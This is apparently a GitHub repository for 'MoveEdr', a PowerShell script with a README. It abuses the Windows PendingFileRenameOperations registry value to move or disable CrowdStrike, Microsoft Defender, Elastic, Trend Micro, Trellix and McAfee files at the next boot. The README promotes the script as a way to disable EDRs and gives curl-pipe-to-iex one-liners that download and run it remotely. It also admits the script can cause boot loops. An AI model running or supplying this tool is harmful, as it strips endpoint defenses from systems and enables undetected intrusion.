├── MoveEdr.ps1 └── Readme.md /MoveEdr.ps1: -------------------------------------------------------------------------------- 1 | function MoveEdr{ 2 | Param( 3 | [switch]$Clear, 4 | [switch]$CustomOnly, 5 | [switch]$DefenderHard, 6 | [switch]$Dump, 7 | [switch]$IgnoreOld, 8 | [switch]$Print, 9 | [switch]$Reboot, 10 | [switch]$Undo, 11 | [string[]]$CustomPaths = @(), 12 | [string[]]$FullyCustomPaths = @(), 13 | [string[]]$Load, 14 | [string] $Suffix = "_bak" 15 | ) 16 | 17 | $regPath = "HKLM:SYSTEM\CurrentControlSet\Control\Session Manager\" 18 | $regKey = "PendingFileRenameOperations" 19 | 20 | function GetMoves{ 21 | return (Get-ItemProperty -ErrorAction silentlyContinue -Path $regPath -Name $regKey).$regKey 22 | } 23 | 24 | if ($Print){ 25 | $pendingMoves = GetMoves 26 | if ($null -eq $pendingMoves){ 27 | Write-Output "No Pending Moves" 28 | } else { 29 | for($i = 0; $i -lt ($pendingMoves.Count -shr 1); $i++) { 30 | Write-Host $pendingMoves[$i*2] --> $(if ($pendingMoves[$i*2+1] -eq "") {"DELETE"} else {$pendingMoves[$i*2+1]}) 31 | } 32 | } 33 | Return 34 | } 35 | 36 | if ($Clear) { 37 | Clear-ItemProperty -ErrorAction silentlyContinue -Path $regPath -Name $regKey 38 | Return 39 | } 40 | 41 | if ($Dump) { 42 | $pendingMoves = GetMoves 43 | $dumped = "`"" + ($pendingMoves -join '","') + "`"" 44 | if ($dumped -ne "`"`""){ 45 | Write-Output $dumped 46 | } else { 47 | Write-Output "No Pending Moves" 48 | } 49 | 50 | Return 51 | } 52 | 53 | if ($Load) { 54 | $moves = $Load 55 | } 56 | elseif ($CustomOnly){ 57 | $moves = @($CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) + 58 | @($FullyCustomPaths | ForEach-Object {"\??\$_"}) 59 | } 60 | else { 61 | $paths = @( 62 | # Crowdstrike 63 | "C:\Program Files\CrowdStrike", 64 | "C:\Windows\System32\drivers\CSDeviceControl.sys", 65 | "C:\Windows\System32\drivers\CSFirmwareAnalysis.sys", 66 | "C:\Windows\System32\drivers\CrowdStrike", 67 | 68 | # Defender for Endpoint 69 | "C:\Program Files\Windows Defender Advanced Threat Protection", 70 | 71 | # Trend Micro 72 | "C:\Program Files (x86)\Trend Micro\Security Agent", 73 | 74 | # Elastic EDR 75 | "C:\Program Files\Elastic", 76 | "C:\Windows\System32\drivers\elastic-endpoint-driver.sys", 77 | "C:\Windows\System32\drivers\ElasticElam.sys", 78 | 79 | #Fireeye/XAGT/xAgent/Trellix Endpoint Security 80 | "C:\Program Files (x86)\FireEye\xagt", 81 | "C:\Windows\System32\drivers\FeKern.sys", 82 | "C:\Windows\System32\drivers\FeElam.sys", 83 | "C:\ProgramData\FireEye\xagt\exts\MalwareProtection\sandbox\fe_avk.sys", 84 | "C:\Windows\FireEye", 85 | 86 | #McAfee/Trellix 87 | "C:\Program Files\McAfee", 88 | "C:\Program Files\Common Files\McAfee", 89 | "C:\Windows\System32\drivers\mfeaack.sys", 90 | "C:\Windows\System32\drivers\mfencbdc.sys" 91 | ) 92 | 93 | # Windows Defender Trickery 94 | if ($DefenderHard){ 95 | $defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix", 96 | "C:\ProgramData\Microsoft$Suffix\Windows Defender", "C:\ProgramData\Microsoft$Suffix\Windows Defender$Suffix", 97 | "C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft") 98 | } else { 99 | $defenderPlatforms = (Get-ChildItem 'C:\ProgramData\Microsoft\Windows Defender\Platform').Name 100 | $defenderExes = "MsMpEng.exe", "MpDefenderCoreService.exe", "NisSrv.exe" 101 | $defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix") + 102 | @(@(foreach ($platform in $defenderPlatforms) {foreach ($exe in $defenderExes) {"C:\ProgramData\Microsoft$Suffix\Windows Defender\Platform\$platform\$exe"}}) | ForEach-Object {"$_","${_}$Suffix"}) + 103 | @("C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft") 104 | } 105 | 106 | $moves = @($paths + $CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) + 107 | @($FullyCustomPaths + $defender_trickery | ForEach-Object {"\??\$_"}) 108 | } 109 | 110 | if ($undo) { # reverse the order in which moves are performed from top to bottom and switch source and destination 111 | $upperBound = $moves.Count - 1 112 | for ($index = 0; $index -lt ($moves.Count -shr 1); $index+=2){ 113 | $moves[$index],$moves[$index+1],$moves[$upperBound -1 - $index],$moves[$upperBound - $index] = 114 | $moves[$upperBound - $index],$moves[$upperBound -1 -$index], $moves[$index+1],$moves[$index] 115 | } 116 | } 117 | 118 | if(!$IgnoreOld){ 119 | $old = GetMoves 120 | } else { 121 | $old = $null 122 | } 123 | 124 | $reg = @{ 125 | Path = $regPath 126 | Name = $regKey 127 | PropertyType = 'MultiString' 128 | Value = $old + $moves 129 | } 130 | 131 | New-ItemProperty -Force @reg | Out-Null 132 | 133 | if ($Reboot){ 134 | Restart-Computer -Force 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # MoveEDR 2 | 3 | If you're admin you can force Windows to delete or move folders and files around immediately after booting before services are started. This can be used to disable EDRs. 4 | 5 | ## Usage 6 | 7 | > [!CAUTION] 8 | > There is an issue with CrowdStrike which results in a bootloop with the message "INACCESSIBLE_BOOT_DEVICE". 9 | > My theory is that either CrowdStrike itself or a software deployment solution is trying to install the missing CrowdStrike files but fails and leaves it in a broken state. 10 | > I am not sure if this depends on the elapsed time after the move or on the number of performed reboots. 11 | > Moving CrowdStrike away for the first time and rebooting works fine. 12 | > Maybe schedule the undo after the first reboot to err on the side of caution. 13 | 14 | ``` 15 | curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr 16 | # Reboot! 17 | ``` 18 | 19 | The following Flags are available 20 | - `Undo` : Undo the EDR Move, works with `CustomPaths` 21 | - `Clear`: Clear the registry key's value 22 | - `Print`: Print the value of the registry key in a human-readable format instead of strings terminated by null bytes 23 | - `CustomOnly`: By default, the `CustomPaths` and `FullyCustomPaths` are added to the built-in moves. This flag ensures that *only* your custom paths are moved. 24 | - `CustomPaths`: Specify your own EDR Paths instead of using built-in ones. Only takes sources as inputs, to also customize the destination use `FullyCustomPaths` instead. 25 | - `FullyCustomPaths` : Specify sources and destinations, gives you control over destination instead of using a `$Suffix`. 26 | - `Suffix`: Use a different suffix for moved files instead of the default `_bak` 27 | - `Dump`: Dump the values of the registry key in a format that can be used with `Load` 28 | - `Load`: Load previously dumped values of the registry key 29 | - `DefenderHard`: Instead of moving only select executables of the Windows Defender, move the whole `Windows Defender` folder 30 | - `IgnoreOld`: Do not keep already existing values of the registry key, blindly overwrite them 31 | - `Reboot`: Perform a reboot immediately after setting the registry key. Might perform Windows Updates and take a long time to reboot 😬 32 | 33 | ### Example 34 | ``` 35 | curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex 36 | MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot 37 | 38 | # Do what you need to do! 39 | 40 | # Undo 41 | # Same command as before, just append -Undo 42 | curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex 43 | MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo 44 | ``` 45 | 46 | ## Long Story 47 | Some programs have a feature which prevents even local administrators from uninstalling or disabling them. Most of the time these are AVs/EDRs which prompt you for a deactivation password, even when you are administrator. 48 | 49 | Here is a trick to disable them by moving files and folders around so that they can not be started on the next boot. 50 | 51 | [SysInternals's PendMoves](https://learn.microsoft.com/en-us/sysinternals/downloads/pendmoves) provides `movefile.exe` which has the following explanation: 52 | 53 | >There are several applications, such as service packs and hotfixes, that must replace a file that's in use and is unable to. Windows therefore provides the MoveFileEx API to rename or delete a file and allows the caller to specify that they want the operation to take place the next time the system boots, before the files are referenced. Session Manager performs this task by reading the registered rename and delete commands from the HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations value. 54 | 55 | How exactly does `MoveFileEx` do this? Let's check the [documentation](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefileexa#remarks) : 56 | 57 | > The function stores the locations of the files to be renamed at restart in the following registry value: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations 58 | > 59 | > This registry value is of type REG_MULTI_SZ. Each rename operation stores one of the following NULL-terminated strings, depending on whether the rename is a delete or not: 60 | > 61 | > szSrcFile\0\0 62 | > szSrcFile\0szDstFile\0 63 | 64 | This means that we can achieve the same effect as `movefile.exe`by creating the registry key `PendingFileRenameOperations`and enter the paths of the files/directories we want to delete in the correct `REG_MULTI_SZ` format. 65 | 66 | The `MoveEdr` script automates creating the correct registry keys for the following AVs/EDRs: 67 | 68 | - [ ] Bitdefender 69 | - [ ] Blackberry Cylance 70 | - [ ] Checkpoint 71 | - [ ] Cisco 72 | - [x] CrowdStrike 73 | - [ ] Cyberreason 74 | - [x] Elastic 75 | - [ ] Fortinet 76 | - [ ] Kaspersky 77 | - [ ] Malwarebytes 78 | - [X] McAfee (thanks to [mschillinger](https://github.com/mschillinger)) 79 | - [ ] Palo Alto Cortex 80 | - [ ] Sentinel One 81 | - [ ] Symantec 82 | - [X] Trellix (previously FireEye, thanks to [@0x48756773](https://github.com/0x48756773)) 83 | - [x] Trend Micro Security Agent 84 | - [ ] VMware Carbon Black 85 | - [ ] Webroot 86 | - [x] Windows Defender 87 | - [x] Windows Defender for Endpoint 88 | --------------------------------------------------------------------------------